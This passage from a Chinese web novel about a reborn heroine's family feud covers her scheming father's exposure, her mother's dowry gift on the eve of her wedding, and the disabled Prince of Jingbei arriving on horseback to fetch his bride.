正说着,朱嬷嬷跑来,脸色难看。 当着孙姨娘的面,她沉声道:“伯爷,刚才二小姐的人来报,说那辆马车出事后,被庆公公的人扣下了。” “什么?”谢明安如遭雷击,面色骤变。 那辆马车,是他动过手脚的。 他本想让谢枝和谢窈一起摔下马车,即便谢窈有武功傍身,伯府也能以谢枝出事为由,拖延婚期。 但事情没成功就罢了,马车,竟然被庆公公扣下了? 皇上前阵子,刚在朝堂之上问责了他,又派御鹰司来伯府查过。 若庆公公查出什么,皇上必然会疑心他勾结太后,不敬圣旨! 霎时间,谢明安心中怒火烧到顶点,他猛地转头,死死地盯着地上的谢枝。 “都是你这个废物!若你不在寺庙做出这种龌龊之事,庆公公怎会盯上本伯,本伯若失了圣心,你就是死,也不为过!” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“我……”谢枝被他眼神吓得浑身发抖。 孙姨娘听到“马车出事”这几个字,她没反应过来这和谢枝有什么关系,维护道: “伯爷别急,枝枝既然和侯爷生米煮成熟饭,那就让侯爷负责,娶了便是,正好让枝枝做侧夫人。” “侧夫人?”谢明安发出一声怒极的嗤笑,像听到了笑话。 “她把安平侯夫人气得当场要和离,又害的安平侯被长公主责罚,还想当侧夫人,太后能让她当个妾室,就烧高香了!” 孙姨娘通红着眼睛:“我的枝枝命好苦啊,都是姨娘没本事……” 谢枝忽然从她怀里挣脱开来,尖叫一声。 她喊道:“父亲不要,父亲不是最疼爱枝枝了吗,姨娘是庶出,我也是庶出,姨娘是妾室,让我做妾室,还不如让我死了!” “啪!” 清脆的巴掌声响起。 谢明安甩着手,眼神狠厉:“闭嘴,没用的东西!” “本伯从小把你当嫡女疼爱,教你算计,教你如何笼络人心,最后连个谢窈都斗不过,你想死?早知如此,还不如让你和她一起死在成佛寺,也省的丢尽伯府的颜面!” 谢枝被打懵了,捂着自己脸,说不出话来。 “死在成佛寺……”孙姨娘却心头一震。 刚才朱嬷嬷说马车被庆公公扣下,伯爷忽然愤怒,现在又说女儿斗不过谢窈,不如死在寺里。 她看着地上哭喊的谢枝,再看满脸阴鸷的谢明安,一股寒意从脊椎爬上来。 她明白了,全明白了! 伯爷是把自己女儿当做一把刀了,还是一把用完就弃掉的刀。 马车出事,肯定是伯爷做了手脚……但谢窈那丫头是个会武功的,她女儿不是啊! 可怜女儿实在是个蠢的,竟还看不明白,以为自己是伯爷最疼爱的女儿。 伯爷对谢窈便没有父爱,尤其是回京后,一个就要嫁出去的女儿,他却恨不得杀了谢窈。 她以为是这丫头自幼性情顽劣,养在边境的缘故,没想到,他连他们的枝枝都满是算计。 谢明安继续满脸厌恶地说:“做不做妾,不是你说的算,你已不是清白之身,谁会娶你当正头娘子?” 说着,他冷冷地吩咐:“将谢枝禁足在屋里,再派人联系侯爷,求侯爷把她带走,别说是做妾,就算只做个陪房丫头,也得把她给本伯塞进安平侯府。” 朱嬷嬷应道:“老奴明白。” 她招呼两个壮婢,架起谢枝,把她往屋子里拖。 孙姨娘正毛骨悚然,谢明安忽然换了一副脸色。 他伸手将孙姨娘搀扶起来,语气温和。 “馨兰,枝枝是我第一个孩子,我怎能不疼爱她,你放心,就算豁出这张老脸,我也会去求侯爷,不让枝枝委屈。” 孙馨兰看着谢枝被打,再看变脸的谢明安,浑身发僵,只能讷讷点头。 “只是……” 谢明安话锋一转,叹了口气:“枝枝的嫁妆一事,如今许氏执掌中馈,府内入不敷出,怕是只能让她看着安排了。” 孙姨娘缩了缩脖子,眼珠一转,道:“当年因为苏嬷嬷的事,许氏恨毒了我,她怎会认真给枝枝准备好嫁妆。” 提到“苏嬷嬷”,谢明安眼神冷了几分。 那个老嬷嬷,是许素素的陪嫁嬷嬷,当初被他除掉,让孙馨兰替他背了锅。 “若不是你现在最要紧的,是好生修养安胎,本伯断不会把中馈交给许氏。” 他语气感叹,说完,直直地盯着孙姨娘,似乎在等她说话。 孙姨娘看着谢明安的笑脸,明白了他的意思。 她被他扶着的肩膀僵硬发颤,怯声道:“妾身还有些体己钱,是今年大哥济安堂的一些孝敬,都能拿给枝枝做嫁妆。” 谢明安脸上的笑容,一下子洋溢开来:“本伯就知道,馨兰最是贤惠。” 他转头对谢枝道:“枝枝,你要向你姨娘学,即便为人妾室,也是京城最贤淑的贤妾。” 这时,旁边的七两开口:“伯爷,姨娘,你们还不知道吗,今日一早,济安堂因为售卖假药禁药,被官府查封啦。” 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第116章 济安堂被查封,母亲备嫁 “你把济安堂的事告诉孙姨娘后,她就当场晕过去了?” 晚香院里,忍冬蒲苇桑若三人,坐在谢窈卧房外屋,烤着碳火,听七两讲孙姨娘院内发生的事。 许素素在一旁,拨动算盘,计算账目。 女儿大婚还有三天,她正在将给谢家送礼的人家一一登记造册,送出喜帖。 听到侍女下人压低声音的叽叽喳喳,她无奈地摇了摇头,眼神却含着包容笑意。 谢窈刚醒来,就听七两正说到: “岂止啊,孙姨娘晕过去后,可把文昌伯吓坏了,结果正好济安堂的人来了,谢伯爷以为是给她看胎的。” 忍冬好奇地问:“然后呢然后呢?” “没想到那人跪下说,他是济安堂东家给孙姨娘传话,求孙姨娘和伯爷做主的。” “谢伯爷气得脸都绿了,让他滚,然后拂袖离去,只让朱嬷嬷照看好孙姨娘。” 谢窈坐起身,看向窗外。 夜色已深,一轮圆月悬于天边,清幽如水银的月色透过窗棂,落在她的床榻上。 她扬声问道:“济安堂是怎么回事?” 外屋四个下人同时看向她,许素素的算盘声,也悄然停了下来。 下一刻,谢窈面前出现三张俏脸。 忍冬桑若蒲苇:“小姐醒啦!” 后门,跟着个站在门口探头探脑的七两:“小姐,小的之前想跟您说的喜事,就是这个。” 谢窈整理了衣衫,走到外屋,和几人坐在一起。 她看见母亲在,双眸乍然明亮:“这么晚了,母亲怎么在这里?” 许素素站起身:“那我走。” 谢窈立即跳起来,按住她的肩膀,语气撒娇:“不嘛!母亲要是走了,我就睡不着了。” 许素素看她面色红润,气色也很好,放下心来:“最能睡的就是你,刚才还在打呼噜。” 谢窈立即反驳:“不可能。” 许素素不和她争辩,重新坐下,继续算着账目。 “这几个下人,大晚上点灯熬油地说小话,倒是让你这屋十分亮堂,我来此算账,也能省几分灯油钱。”她淡淡地说。 谢窈现在面对母亲的解释,就五个字:不用信,编的。 这时,桑若端来一碗莲子粥:“二小姐睡了两个时辰,肯定饿了,醉后先用些清淡的。” 趁许素素没注意,她低声在二小姐耳边道:“夫人担心二小姐喝醉了难受,第一个在外屋守着的,这粥,也是她提前吩咐奴婢做的。” 谢窈接过粥,望着灯下看账目的母亲。 她的眼神越发柔和,心里也越发坚定。 七两这才说,她今日离开伯府不久,舅舅许知行就派人传来消息。 自从胜济堂在济安堂隔壁开业后,已经成了京中第一医馆。 胜济堂卖的药保质保量,价格便宜,大夫也是京中出名的医者,更有前些日子,皇宫里的周御医,都说胜济堂的大夫优秀,甘拜下风。 所以,济安堂终于坐不住了。 昨日,一对兄弟俩抬着张破草席,来到胜济堂。 草席上,是他们奄奄一息的老母。 两人称胜济堂的大夫诊断失误,又给老母吃了假药,在医馆门口闹了起来。 许知行正好在医馆内。 谢窈曾写信提醒过舅舅,医馆与别的商铺不同,不止是看病抓药,还要做好医案,提防同行的阴损手段。 许知行早就记得谢窈的话,当场拿出医案,上面详细记载了每日每时前来看病的患者名单,所开药品。 医案上,根本没有这个老妪就诊的记载。 两人又被认出,是街上出名的泼皮无赖。 被看热闹的百姓一阵围攻之后,他们吐出实情,说是收了隔壁济安堂的银子,前来胜济堂栽赃陷害,老母吃的药,都是济安堂开的。 许知行不计前嫌,让坐堂大夫救治老妪,大夫却在诊治时发现,这老妪的药的确有问题。 民怒之下,胜济堂报了官,京兆尹杜大人亲自带人前来,在济安堂搜查出违禁药品,更有许多高价假药。 如今济安堂被贴了封条,济安堂的东家孙宏方,孙姨娘的大哥,也被下了狱。 此刻的孙姨娘,刚知道了谢枝与安平侯的丑事,又得知济安堂被查封。 终于醒来,又要支撑起身子,给谢枝准备陪嫁。 孙家上下打点,想把孙宏方捞出来,还派人求见文昌伯和孙姨娘,都被赶了出去。 听说,孙姨娘一夜之间,苍老了不少。 另一边,许素素也在准备谢窈的嫁妆,顺便拨出银两,筹备宴席。 谢家只有两房,族中还有三四个老伯爷辈分的耆老,各自倒是人丁兴旺,但正经亲戚不多。 而谢明安在朝堂上八面玲珑,最擅结交官员,友人却众多。 哪怕谢家接连出事,大婚最后两日,前来送礼的人还是络绎不绝。 收了礼,再回敬喜帖,许素素理着账目,粗略算下来,谢家得办五六十张席面,比冬至宴还热闹得多。 谢明安整日不见踪影,摆明了一毛不拔。 本小章还未完,请点击下一页继续阅读后面精彩内容!因是高嫁,许素素却不想宴席过于简陋,丢了女儿面子。 她给谢窈的嫁妆备得极其丰厚,不止是靖北王送来的那百箱聘礼,原封不动做陪嫁,抬回王府。 还有十七年前许家给她嫁妆,田庄铺子银两,这么多年了,她手里仅剩三成,从这三成里抽出九成,全都添做女儿陪嫁。 来给谢家送礼的,许素素知道,都是因为女儿被皇上册封为靖北王妃,嫁的是靖北王,想要巴结女儿和王爷,而不是因为文昌伯。 所以她私心,把那些礼也添进嫁妆里,给了谢窈。 但伯府的账面本就亏空,这样一来,准备宴席的钱,就不太够。 除非她再从自己手头铺子里再支一笔银子,或者用靖北王送来嫁妆里的现银。 冬月十七,明日,就是靖北王与谢二小姐大婚。 许素素最终,还是选择自己出这笔钱。 大清早,她取出自己一直不舍得戴的首饰,唤来桑若。 “你拿我的手令,再去城西那三家铺子,将账上能支的银子都支出来,实在不够,将这对镯子送去当铺,现如今已经没这样好的玉了,卖三百两也不为过。” 谢窈走出来,一把夺走许素素的镯子。 “这么好的镯子,母亲要当了,给谢家办宴席?”她皱眉道。 许素素:“大婚宴席代表着谢家对你的重视,不能寒酸,还代表了伯府的脸面。” 谢窈听到这话,眼底,闪过一抹幽光。 她并不在乎谢家的宴席,而是要利用这场大婚,完成自己的目的。 “谢家重不重视我,母亲不知道?”谢窈反问。 看着母亲踌躇的模样,她唇角扬起一抹讥讽笑意:“至于伯府的脸面,原来伯府还有脸面呐?” 许素素眼中透着愁绪:“可你要嫁的是靖北王,靖北王府萧家的亲友,只会更多,宴席也更盛大。” 谢窈摇了摇头:“萧家那边——” 刚开口,七两前来通报:“小姐,王府的人来了。” 来了一男一女,男子是白术侍卫,女子谢窈也认识,是之前给她萧老夫人令牌的老嬷嬷。 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第117章 渣爹忙成狗,大婚前夜 白术侍卫和老嬷嬷一进来,就向谢窈行礼。 “老奴拜见王妃,伯夫人。”老嬷嬷率先开口。 “老夫人让老奴前来传话,明日喜宴,王府那边已经请到了该请的人家,文昌伯府礼数周全便好,不必与王府相比。老夫人还说了,王妃与伯夫人,最要紧的顺心。” 白术则说:“明日一早,属下会带梳妆的丫鬟嬷嬷过来,到时府里人多,容易生乱,王爷让属下随时听候王妃吩咐。” 谢窈内心一动,刘嬷嬷的话正合她心意。 她当然不愿母亲费心半天,给谢家浪费银子办宴席,而谢明安坐收渔翁之利。 萧老夫人此举,是不愿让伯府太过破费。 特意告诉她和母亲,是看出她在乎的,只有母亲。 至于白术,谢窈总感觉,箫熠之猜出了什么。 她欠身行礼:“多谢老夫人和王爷体恤。” 许素素也点头道:“有劳二位跑这一趟,替我谢过老夫人。” 送走了二人,谢窈才回头道:“母亲你看,王爷已经替我们想好了。” 她拿出刚才自己夺走的一对和田玉手镯,一个套在自己手腕上,一个戴到许素素腕上。 “这些首饰,是当年外祖父给您的,是您的念想,已经剩的不多了,决不能轻易当掉。” 许素素垂眸,看着温润的玉镯,还是道:“可就算萧老夫人说伯府一切从简,不必与王府相较,我们也不能什么都不做,明日就是大婚,账上是没钱的,我若不快些准备,哪里来得及——” “那又如何,谢家账面上没钱,就让谢明安自己掏,他不想掏,那就丢脸吧,女儿不在乎。” 谢窈打断她,勾着唇角反问:“与其把银子用在宴席上,给谢家撑脸面,还不如都添在我的嫁妆里,难道,母亲不盼着我嫁妆丰厚一些?” 许素素被问得噎住,而谢窈的后半句话,更是让她心头一颤。 她指尖抚摸着玉镯,做了一个决定。 “好,我听你的。” 谢窈眯起眸子,看向谢明安书斋的方向。 她一字一顿:“这谢家,不值得母亲再花一文钱。” 她没说的是:不止如此,她还要让谢明安吞了的东西,加倍偿还! 若是还不起,那就别怪她了。 确定不出钱办宴席后,许素素就省事多了,又回到自己屋里,核对起谢窈的嫁妆。 痛不欲生的人,变成了谢明安。 得知许素素不管宴席,谢明安勃然大怒。 但明日就是大婚,他来不及质问,只能一边狂怒,一边内心滴血地从自己私库支出银两,让朱嬷嬷带着一众家丁下人,火急火燎筹备起来。 幸好冬至宴刚过不久,伯府又筹办宴席的经验。 从前这种事,谢明安都是交给孙姨娘…… 他立即去了孙姨娘的院子。 然而,孙馨兰怀胎三月,因为孙家的事动了胎气,还得拿出自己仅剩的一些体己钱,给谢枝准备嫁妆,如今身子虚弱,脑子都不清醒了。 谢明安见孙姨娘病殃殃的样子,只能留下一句“安心养胎”,就烦躁地离开。 路过谢枝屋子,他瞥了眼,里面一片死寂。 谢明安心中暗道,这个女儿彻底废了,真是白瞎他多年栽培,连个谢窈都斗不过。 朱嬷嬷凑上前,低声道:“伯爷,侯府一早派人回话了。” “该怎么办就怎么办,”谢明安挥了挥手,冷声道,“再去找老夫人问问,她身子如何了。” 片刻后,谢老夫人身边的嬷嬷回话: “启禀伯爷,老夫人落水后着了风寒,至今卧床不起,她让老奴关心伯爷,说伯爷操持伯府的大小事务,着实辛苦,午膳要用一盏老鸭汤补补补身子。” “……多谢母亲大人关心。” 谢明安的脸色变幻,最后只能道:“让谢明守和王氏滚来,与本伯一起筹备那丫头的婚宴。” 王氏是二房夫人。 朱嬷嬷疑惑地问:“伯爷素日不让二爷和二房夫人掺和内宅之事,怎么此刻却要放权?” 谢明安脸色阴沉:“本伯是谢家家主,与伯府一荣俱荣,一损俱损,喜宴若办好了,这一个多月来谢家丢的脸,就都不算什么了,此前他们害本伯被皇上问责,现在,也该他们出出血。” 朱嬷嬷去通知谢二爷,二房夫妻俩不敢推脱。 整个谢家在大婚前一日,忙成了一锅粥。 正午时分,一直盯着谢明安书斋动静的七两回来。 “小的跟着谢伯爷去了老夫人的暖阁,之后听暖阁的小厮说,谢伯爷给老夫人请安时,趁机要走了早年孝敬给她的一笔银两。” “父亲可真是打肿脸充胖子。”谢窈冷笑道。 “既然他对我的婚事如此费心,看来,我要好好感谢他了。” 果然如她所料,她这个人渣爹,已经丢了里子,但还想靠她的大婚,收回些面子。 七两感叹:“幸好小姐让夫人不管喜宴的事,否则忙得脚不沾地的人,就变成咱们了。” 这章没有结束,请点击下一页继续阅读!谢窈双眸一凛,淡声吩咐:“伯府已经乱了,你今晚就将你房里的东西,放到祠堂吧。” 七两正色起来,眼神既激动又不安。 小姐把他从牙婆手里买下的那日,给了他一张物品清单,让他购买之后,藏在自己屋里。 那些东西每次只能买一点,倒不算贵,但加起来却价格不菲,他早就买齐了,一直放在床底下。 七两望着小姐沉静锐利的神情,心中渐渐安定。 他沉声道:“小的明白,祠堂内有几个装蜡烛贡香的箱柜,冬至宴之后,里面就空了,平时也不会有人打开,小的会将东西,放在那里面。” 谢窈点了点头,拿起布子,轻轻地擦拭手中长刀。 刀刃雪白,映着她一双寒凉如霜的眼眸。 晚上,七两回禀她,东西已经放好。 他刚退下,院外,传来细微的脚步声。 许素素来到谢窈的房门口,身后,桑若手里捧着个沉甸甸的红漆檀木箱子。 这还是第一次,母亲在她清醒时,面对面主动来到她屋子。 此刻,是大婚前夜。 谢窈的眼眶悄然酸了几分,立即大敞房门,眼神透着几分许素素看不太懂的执拗:“母亲请进。” 许素素走进来,为她合上门,道:“打开吧。” 桑若将箱子放到桌上,用钥匙打开铜锁。 谢窈眸色一凝,只见箱子里,左边码着厚厚一沓地契,右边铺着红绸,是满满当当几十颗珍珠,每颗都是东珠大小,在烛火下泛着温润光泽,成色极好。 桑若道:“二小姐,金银和寻常珠宝首饰,都在库房的箱子里,这些东珠,是当年许老爷给夫人寻来的,当年说要嵌在夫人的嫁衣上,但夫人怕太过招摇,便没有用。” 许素素深吸一口气,迎着谢窈明亮的眼神,道:“本想亲手给你镶嵌在凤冠和嫁衣上,但王府已经送来嫁衣,听说,是王爷母亲靖宁夫人亲手做的,我的绣工,便不献丑了。” 谢窈的呼吸颤了颤。 说着,许素素又拿起最上面的几张地契:“这是京郊的田庄,一共是六处,每处有良田百亩,每年的租子我都记在账簿上,你自己看便是。” “还有一所京中的宅子,就在城东,离靖北王府不远,当初我买时花了三百两,如今应该能翻十番,另一处园子在栖凤山那边,是个避暑踏秋的好去处。” “这八个铺子,掌柜都是用了多年的老人,你半年查次账,便不会出错。” “这处钱庄的先掌柜去年病逝了,换上来的是个新手,需得每月查账一次。” “有三处江州老家的店铺,你得派人回江州接手。” “这还有些银票,约一千两,现银放在库房,只有两千两,还有五百两黄金,至于别的……明日你也都能看见了。” 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第118章 母亲当年的陪嫁,该还债了 许素素将地契田契,一一向谢窈说明。 在女儿的大婚前夜,她不再像平时那样冷淡,而是笨拙地说出许多叮嘱,即便很多话她说不出口,今晚也必须要说。 谢窈望着母亲深藏担忧的双眼,希望这一刻慢些,这一晚也慢些。 她喜欢听母亲絮絮叨叨的话。 她随手拿起一张地契,正好是京中那所宅子的:“这是什么宅子,价格竟能翻十番。” “不是什么大宅子,只是地段尚可,”许素素说着,眼神暗淡了几分,“若是澄园还在,那园子你一定喜欢。” “澄园?” 谢窈听到这个名字,有些耳熟。 桑若低声接话:“澄园是夫人当年陪家里,最金贵的私产,占地百亩,园内引了活水,亭台楼阁皆是名师设计,恐怕比起王侯宅邸也不差什么。” 谢窈想起来了,澄园最早是五王之乱之首的睿亲王,年少还没封王爵时的私园。 睿亲王有了王府后,就把澄园卖了出去。 前世,她被陆慎言软禁在庄子上,见到陆慎言从澄园赴宴归来。 他满身酒气地说:“你那庶姐如今是皇上宠爱的娴妃,伯府全族都搬去了澄园,连皇上都允她回去省亲,是何等风光。” “澄园,竟然是母亲的陪嫁。”谢窈道。 桑若道:“是啊,那园子过到夫人名下后,夫人自己连园门都没踏进去过,就被伯爷说要用这园子招待贵客给占了去,后来,更是连地契都要走了。” 谢窈的眼底,泛起刺骨的寒意。 她的母亲,生前没有进入澄园一天,死后,谢家却全族住进豪园,凭什么。 谢窈看着箱内的东西,声音微沉:“这些,怕是还不及母亲陪嫁的三成吧。” 桑若:“二小姐说的是,可惜那么多陪嫁,都被伯爷拿去周转,最后填补了伯府东一个西一个窟窿。” “不必说这些了。”许素素打断她的话,眼底透出几分疲惫。 “桑若跟着我多年,性子稳妥,也会识字算账,就跟着你一起去王府吧。” “我不要,”谢窈摇头,眼神坚定地拒绝,“我身边的忍冬蒲苇都识字,母亲若将桑若给了我,你自己身边没人照顾,我如何能安心嫁人?” 许素素看出她眼底的执拗,最终没有再强求。 谢窈想起前世,也是在自己出嫁前夜,母亲同样抱着箱子前来。 她站在门外的冷风里,脸上没什么表情,淡淡地说:“这里面的东西,是你父亲给你备的嫁妆。” 她骗自己,说箱子里的嫁妆都是谢明安出的。 自己当时竟然信以为真,以为谢明安虽然严厉,但终究是疼她的,反倒是母亲,总是对自己冷言冷语,在自己生病时也漠不关心,仿佛自己嫁给谁,都和她没有关系。 而最终,母亲没有主动解释,她也没有让她走进自己屋子。 那竟然就是她和母亲前世的最后一面了。 所以刚才,看到母亲出现在她房门外的时候,她才会忽然热泪盈眶,激动地敞开门,请母亲进来。 “收好吧。” 许素素将锁好的箱子推到谢窈面前,钥匙放在上面,又道:“我这辈子过得糊涂,没什么能教你的,又让你受了那么多苦,阿窈,你一定很怨我吧。” “你以后,要好好照顾自——” 她没有说完,谢窈就扑倒她怀里,嗓音哽咽沙哑:“我怎么会怨母亲!” 桑若在一旁,抹着眼泪。 许素素的身子微微颤抖,回抱住了女儿。 谢窈努力平息着情绪,定了定神,拿出箫熠之绣的那枚萱草香囊:“这个是……” 还没说出口是自己绣的,许素素就笑着道:“这香囊,是我看着王爷绣的。” 谢窈脸一红:“嗯,对,您是王爷的岳母,这是他孝敬您的。” 许素素道:“这一个多月,我也见过了王爷数面,依我看来,王爷虽然身上有杀伐之气,但不像传闻那般冷血无情,至于他的腿,他能给你送来马匹当礼物,想来,他性情并不偏执。” “不过,一切还是得你嫁过去之后再看,只求你们能夫妻和睦,平平安安……若他负你,你要记得,母亲永远在你身后。” 许素素一字一句地说。 “母亲放心,女儿都明白。” 许素素收下了香囊,趁机低头,悄悄擦掉眼角的眼泪。 “早些休息吧,明日新娘子得早起呢。” 她说完,就与桑若一起离开,带上了门。 谢窈静坐了片刻,叫来蒲苇。 “母亲身边只有桑若,我不放心,”她语气沉静,“你留在谢家,替我照拂好母亲。” 蒲苇点头:“是,有奴婢在,一定不会让夫人受半分委屈。” 谢窈喃喃道:“母亲,你离开谢家的日子,不远了。” 随即,她重新打开箱子,想取些银票给蒲苇傍身。 手刚伸进去,就摸到一个冰冷的物件。 谢窈摸出来一看,是那只她白天刚给母亲戴上的和田玉手镯。 这章没有结束,请点击下一页继续阅读!蓦地,谢窈鼻翼微酸,眼眶再一次湿润。 她将镯子放回箱底,取了几张银票给蒲苇:“这些你拿着,日常用度或打点,都用得着。” 蒲苇收好后,欠了欠身退下。 房间内,彻底安静下来。 谢窈走到窗边,推开半扇窗。 夜色里,谢明安书斋那边还灯火通明,大婚前夜,除了晚香院,伯府里上上下下都忙着。 谢窈无声地笑了笑。 是时候,让谢明安还债了。 * 冬月十八,谢窈与靖北王大婚。 清晨,白术侍卫就带着一队王府侍女前来。 谢窈一夜好眠,醒来后按照流程开始梳妆,还不紧不慢地用了午膳。 趁白术也去吃饭的时候,她到伯府后园转了一圈。 祠堂,没人。 素日两三队护院轮流巡逻的谢明安书斋,今日也只剩下两个看门的书童。 她心里有了数,回到屋内。 接亲的吉时定在黄昏,但伯府和王府晌午晚上各有两场大宴。 午膳过后,谢窈便换上嫁衣,等候吉时。 她将一柄窄细匕首,别在嫁衣的里衣腰间。 这身嫁衣,据说是箫熠之的母亲靖宁夫人做的。 靖宁夫人是将门秦家之女,却不爱武装。 这一点,她与沈皇后恰恰相反,听闻早些年,沈皇后把她当妹妹疼爱,让她兼做宫里尚衣局的首席绣娘。 谢窈的嫁衣华贵非常,摸起来如水般顺滑,又极其贴合自己身量,腰间一抹鲛绡,即便在屋内也流光溢彩。 谢窈还记得,上一世自己要嫁给陆慎言,陆家送来的嫁衣,是成衣铺买的,做的过于宽大,她走起路来,内心忐忑不安,生怕闹出笑话,被人说失了规矩。 而此刻,她等待箫熠之前来,心里却平静而从容。 正想着,忍冬走进来,脸上带着笑容:“小姐,时辰到了。” 外面,传来一阵激昂的锣鼓乐声。 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第119章 大婚之日,王爷骑马 外面接亲的队伍,到了。 “走吧。” 谢窈取过妆台上一柄绣着金丝牡丹的团扇,轻轻挡住面容,由忍冬和桑若二人一同扶起来,移步前行。 这身嫁衣用的是极好的云锦,走动时,锦缎流光,如同将云霞披在身上,又不会过于沉重。 至于凤冠上,更是镶嵌珍珠宝石无数,赤金缠枝的凤凰羽翼层叠,仿佛金辉流淌在乌发间。 走出屋之前,谢窈给了七两一个眼神。 七两微微低头,身影融入众多下人之中。 此刻,伯府正厅早已站满了宾客。 今日谢家和萧家宴请无数,加在一块,恐怕将文武百官都请遍了,只不过,大多有头有脸的都去了萧家赴宴,来谢家的,地位稍低一些,但比起冬至宴的时候,人数只多不少。 “都说文昌伯府的二小姐,从小在边关长大,不知礼仪,等会儿怕是再弄出笑话。” “嘘,小点声,那可是健妇营的悍妇,如今得了长公主殿下的青眼,可不敢惹喽。” “一个边境长大的野丫头,一个双腿残疾的王爷,倒是般配……” “听说谢二小姐不得文昌伯喜爱,近来谢家屡屡出事,怕是都和她回京有关。” 话音未落,谢窈已经走出来。 众人忽然噤声,睁大了眼睛。 只见谢家二小姐背脊笔直,莲步款款,姿态从容,没有一丝怯懦,头顶的凤冠何其沉重,也不见她低头分毫。 穿过一重重门槛时,她凤冠上的流苏都不曾颤动。 刚才还议论纷纷的宾客们,面面相觑,惊艳万分。 这哪里是不知礼仪?分明比京中贵女们还要端庄大气! 再看那一袭火红嫁衣,更衬得她如同九天鸾凤,明艳张扬似灼灼牡丹。 “姐姐。” 走到门口,身穿宝蓝色云纹锦袍的谢宴来到她身侧,唤了一声。 谢窈虽然用团扇遮着面容,但并不妨碍视线,看见他,微微点头。 谢宴凝视着她,眼中流露出清晰的不舍和复杂。 今天的姐姐,好美。 他深吸一口气,跟在谢窈身旁,余光扫过刚才几个乱嚼舌根的宾客,眼底划过一丝冷意。 刚才谁说了谢窈的不好,他都记住了。 等会儿,他就给那几人的饭食,加点料。 伯府正门外,身穿红衣的谢家二房小儿子谢成梁,领着两个小厮,拿香火点燃了六串大红鞭炮。 伴随着由远及近的锣鼓礼乐声,围观的百姓都激动地捂住耳朵,大声议论着。 “这鞭炮,放了有足足两刻钟了吧!” “来了来了,王府的接亲队伍,嚯,怎么那么多兵卒!” “前几日靖北王府来送聘时的排场才吓人呢,听说是足足八十箱聘礼,把棠柳巷都堵住了,还是礼部尚书何大人,亲自来做的册封礼官!” “排场再大有什么用?新郎官是个瘸子啊,难道要坐着轮椅来接亲吗?” 一个糙汉嗓门有些大,话一出口,恰好鞭炮声停了,周围都静了静。 他又连忙叹道:“想当年,靖北王是何等威风,打得西戎王庭俯首称臣,回京受赏时,又是多么英姿勃发,可惜现在……唉……” 还有人道:“再怎么样,谢二小姐也比还没婚嫁,就跟安平侯在寺庙厮混的谢家庶女强吧。” “那样绝色的容貌,却要配一个身有残疾之人,到底谁更可惜?” 提到谢枝,众人都露出异样神情。 都是街坊邻居,谢枝往日的名声多好,如今就有多差。 “这伯府二小姐真是够可怜的,才八九岁就被文昌伯送去健妇营当童子军,闹得满城风雨,好不容易回京,又是嫁给靖北王。” “小点声,好歹也是在伯府门口。” 各种声音落入谢窈耳中,有嘲讽,也有惋惜,大多是等着看笑话的。 她立在阶上,想起前世。 嫁给陆慎言的时候,这些讥讽大多是朝她而来,她并不在乎。 而这次,更多人怜悯嘲讽的是箫熠之,她心里却有一丝异样的不悦。 一阵风吹过,将鞭炮升起的白烟吹散。 众人的议论声,也戛然而止。 迎亲队伍出现了,最前头的,是两匹通体雪白,系着红绸的开道马,跟着一队披红挂彩的王府亲卫。 而靖北王,并没有坐轮椅,也没有坐在马车里! 他骑在一匹金朱鞍辔的墨色骏马上,身形挺拔如松。 谢窈握着团扇的手收紧,心头,忽然涌上一阵热意。 箫熠之一身正红绣金蟒的喜袍,腰束玉带,墨发金冠,桃花眸含着浅淡蛊惑的笑意,唇角上扬,望着自己的王妃。 他说过,迎娶夫人,是要骑马的。 阳光透过烟霭,驱散箫熠之身上森然彻骨的寒凉,给他镀了一层金身。 “那,那是靖北王?竟然生得这么俊!” “靖北王怎么骑在马上,他不是双腿残疾吗。” “双腿残疾,腰又没残疾,平时轮椅上都能坐,自然也能骑马,就是腿动不了,骑在马上应当是十分难受。” 本小章还未完,请点击下一页继续阅读后面精彩内容!谢窈微侧团扇,望着马背上的身影。 她想起那日,她问道:王爷能骑马吗? 王爷只回答了她一个“好”字。 原来,这就是那个字的含义。 靖北王后方,浩浩荡荡的迎亲队伍才真正铺开。 一顶三十二抬的大花轿,出现在队伍中央。 花轿上雕满了鸾凤和鸣,牡丹盛开的吉祥纹样,四角裹有红绸,还挂着镶嵌东珠的鎏金铃铛,奢华至极。 花轿两侧,则是两百名腰佩长刀,步伐整齐的王府亲卫,后面跟着吹鼓手,送亲的嬷嬷。 仅这些佩刀亲卫,就让队伍一眼望不到尽头,更甚前几日送聘礼时的阵仗。 谢明安早已侯在门口,旁边是谢二爷与两名谢家耆老。 连谢老夫人,都换上一身诰命夫人的翟衣,由下人搀扶在旁边。 老太太笑得满脸褶子,好像完全看不出前些日子落水时的狼狈样了。 许素素站在众人身后,罕见穿了艳色,眼眶含着泪。 因为靖北王身份高贵,又身体有碍,谢家人自然不能像寻常人家那样端坐在厅堂,等新郎官向他们行礼。 这时,王爷骑着马,来到伯府门前。 只见换上红色锦衣的白术和白蔹二人快步上前,一左一右屈膝,拖住王爷手臂。 而他胯下的黑马,也极具灵性地弯曲两只前蹄,整体倾身。 王爷抚摸黑马的鬃毛,借着侍卫的力道,又顺着黑马方向,竟近乎与常人无异地从马背下来。 早有仆从推来挂着红绸锦缎珍珠宝石,今日分外喜庆贵气的豪华大轮椅,等在旁边。 箫熠之顺势坐下,端正从容。 白蔹悄悄松了一口气。 只有他这等贴身侍卫知道,自从那日,谢二小姐询问靖北王能否骑马之后,王爷回府,就日日在马场练习骑马,又训练从前军中的战马“玄霆”与自己配合。 经过无数次磨合,今日才能在众人面前,如此从容稳当。 原本,白蔹看见王爷一次次上马,下马,骑马,甚至会从马上跌落摔伤,是心痛的。 但渐渐的,他看到王爷骑马时眼底的光,再想到这两年死气沉沉的靖北王府,他忽然感觉……王爷像是活过来了。 白蔹悄悄看向谢窈,他知道,这一切都是因为谢二小姐。 “王爷里面请。” 谢明安脸上堆着笑容,见箫熠之真的骑了马,眼中闪过一丝错愕。 随即,他忍不住心里又期待起来。 